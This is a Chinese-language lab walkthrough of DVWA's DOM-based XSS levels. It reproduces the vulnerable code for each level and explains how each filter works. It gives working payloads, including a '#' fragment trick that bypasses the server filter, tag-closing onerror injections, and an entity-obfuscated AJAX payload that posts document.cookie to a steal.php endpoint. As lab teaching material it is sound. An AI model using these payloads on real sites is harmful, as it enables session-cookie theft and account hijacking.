总结了dvwa中的dom型xss关卡

Low

代码复现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<form name="XSS" method="get">
<p>Please choose a language:</p>
<select name="default">
<script>
if(document.location.href.indexOf('default=')>=0){
var lang = document.location.href.substring(document.location.href.indexOf('default=')+8);
document.write("<option value='"+lang+"'>"+decodeURI(lang)+"</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}

document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
</script>
</select>
<input type='submit' value='Select'>
</form>

<?php

session_start();
setcookie('security','low',time()+3600);

?>

这关没有php代码,但是我们可以仔细一步步分析js代码

首先明白几个对象:

document:每个载入浏览器的html文档都会成为document对象

location:location对象包含了当前相关的url信息,href是location对象的属性,location.href能返回完整的URL

几个方法:

indexOf:string.indexOf(searchvalue)返回搜索的子字符串在原字符串中第一次出现 的位置,如果搜索的字符串不存在,则返回-1

substring:string.substring(start,stop)提取字符串中介于两个指定下标之间的字符

从start处开始提取,到stop位置但不包括stop位置的字符,如果stop参数省略,则返回从start处开始到结束的字符

明白了这几个对象和方法后再来看这串js代码

If语句执行条件是检查url中是否含有’default=’这个字符串,如果有则执行if语句

也就是说if语句执行条件是必须通过GET方式传入一个default值才会执行if语句

执行之后定义一个变量lang,存储的是url中’default=’之后到结束的字符,也就是default的值

之后将lang进行url解码然后写入option标签中

这里没有php代码,也就是并没有与服务器交互,但是我们可以通过dom树解析js代码进行xss注入,也就是通过GET一个default值注入JS代码,然后执行if语句,就可以执行我们注入的JS代码,这就属于dom型的xss

于是我们输入default:

1
<script>alert(“xss”)</script>

果然出现了弹窗

接下来考虑窃取cookie值

按之前的方法利用ajax将cookie值传入steal.php,再将cookie值写入数据库

成功截取到cookie值

Medium

代码复现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<form name="XSS" method="get">
<p>Please choose a language:</p>
<select name="default">
<script>
if(document.location.href.indexOf("default=")>=0){
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='"+lang+"'>"+decodeURI(lang)+"</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}

document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
</script>
</select>
<input type='submit' value='Select'>
</form>

<?php

session_start();
setcookie('security','medium',time()+3600);

if(array_key_exists('default',$_GET) && $_GET['default'] != NULL){
if(stripos($_GET['default'],'<script') !== false){
header("location:?default=English");
}
}

?>

可以看出在服务器端对GET的default值进行了过滤,一旦检测到defalut值中含有<script,就立刻重定向到default值为English的页面

解决方法是利用字符#,该字符后的数据不会发送到服务器端,从而绕过服务器的过滤,输入

1
#default=<script>alert(“xss”)</script>

在输入

1
#default=<script src=”http://127.0.0.1/demo/xss(stored)/cookie.js”></script>

成功窃取到cookie值

还有一种方法就是通过触发onerror事件来执行js代码

输入

1
<img src=# onerror=(alert(”xss”))>

但是发现并没有弹框,为什么呢,仔细看一下代码发现img标签是包含在option标签里面的,所以img标签并不会被解析

这里要闭合option标签和select标签才可以解析出img标签

输入

1
</option></select><img src=# onerror=(alert(‘xss’))>

成功弹框

但是因为我们提前闭合了option和select标签,所以后面的select结构都会被破坏,整个页面结构都被破坏了,所以这种方法并不是很实用

再试试通过onerror事件执行ajax代码,将cookie值发送给steal.php,然后写入数据库

输入

1
<img src=# onerror='var url="http://127.0.0.1/demo/xss(reflected)/steal.php";var postStr="data="+document.cook&#x69;e;var ajax=null;&#x69;f(w&#x69;ndow.XMLHttpRequest){ajax=new XMLHttpRequest();}else &#x69;f(w&#x69;ndow.Act&#x69;veXObject){ajax=new Act&#x69;veXObject("M&#x69;crosoft.XMLHTTP");}else{ajax=null;}ajax.open("POST", url, true);ajax.setRequestHeader("Content-Type", "appl&#x69;cat&#x69;on/x-www-form-urlencoded");ajax.send(postStr);'>

成功截取到cookie值

High

代码复现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<form name="XSS" method="get">
<p>Please choose a language:</p>
<select name="default">
<script>
if(document.location.href.indexOf("default=")>=0){
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='"+lang+"'>"+decodeURI(lang)+"</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}

document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
</script>
</select>
<input type='submit' value='Select'>
</form>

<?php

session_start();
setcookie('security','high',time()+3600);

if(array_key_exists('default',$_GET) && $_GET['default'] != NULL){
$default=$_GET['default'];
switch($default){
case 'English':break;
case 'French':break;
case 'Spanish':break;
case 'German':break;
default:header("location:?default=English");
}
}

?>

可以看出default值如果不是选项中的四个值,就重定向到选项为English

跟上一关一样,依然可以采用字符#绕过过滤

输入

1
?#default=<script>alert(“xss”)</script>

成功弹框

输入

1
?#default=<script src=cookie.js></script>

成功截取到cookie值